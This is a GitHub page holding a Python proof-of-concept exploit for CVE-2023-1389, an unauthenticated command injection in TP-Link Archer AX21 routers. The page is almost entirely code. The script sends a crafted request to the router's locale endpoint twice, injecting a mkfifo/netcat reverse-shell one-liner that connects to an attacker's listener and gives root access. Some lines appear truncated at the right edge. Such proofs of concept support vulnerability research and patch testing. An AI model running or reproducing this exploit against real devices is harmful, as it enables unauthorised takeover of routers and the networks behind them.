Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

Voyag3r-Security / **CVE-2023-1389** Public

Notifications Fork 5 Star 8

Code Issues Pull requests Actions Projects Security Insights

Files

4ecada7

Go to file

- README.md
- archer-file-transfer.py
- archer-rev-shell.py

CVE-2023-1389 / **archer-rev-shell.py**

Voyag3r-Security Rename cve-2023-1389-rev-shell.py to archer-rev-shel... 2dae580 · last year **History**

Code Blame 52 lines (44 loc) · 2.78 KB Raw

```python
#!/usr/bin/python3
#
# Exploit Title: TP-Link Archer AX21 Unauthenticated Command Injection
# Date: 07/25/2023
# Exploit Author: Voyag3r (https://github.com/Voyag3r-Security)
# Vendor Homepage: https://www.tp-link.com/us/
# Version: TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 (
# Tested On: Firmware Version 2.1.5 Build 20211231 rel.73898(5553); Hardware Version Ar
# CVE: CVE-2023-1389
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test.
# The author will not be held responsible for any use or damage caused by this
# program.
#
# CVE-2023-1389 is an unauthenticated command injection vulnerability in the web
# management interface of the TP-Link Archer AX21 (AX1800), specifically, in the
# *country* parameter of the *write* callback for the *country* form at the
# "/cgi-bin/luci/;stok=/locale" endpoint. By modifying the country parameter it is
# possible to run commands as root. Execution requires sending the request twice;
# the first request sets the command in the *country* value, and the second request
# (which can be identical or not) executes it.
#
# This script is a short proof of concept to obtain a reverse shell. To read more
# about the development of this script, you can read the blog post here:
# https://medium.com/@voyag3r-security/exploring-cve-2023-1389-rce-in-tp-link-archer-ax
# Before running the script, start a nc listener on your preferred port -> run the scri

import requests, urllib.parse, argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress warning for connecting to a router with a self-signed certificate
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Take user input for the router IP, and attacker IP and port
parser = argparse.ArgumentParser()

parser.add_argument("-r", "--router", dest = "router", default = "192.168.0.1", help="R
parser.add_argument("-a", "--attacker", dest = "attacker", default = "127.0.0.1", help=
parser.add_argument("-p", "--port",dest = "port", default = "9999", help="Local port")

args = parser.parse_args()

# Generate the reverse shell command with the attacker IP and port
revshell = urllib.parse.quote("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc "

# URL to obtain the reverse shell
url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&oper

# Send the URL twice to run the command. Sending twice is necessary for the attack
r = requests.get(url_command, verify=False)
r = requests.get(url_command, verify=False)
```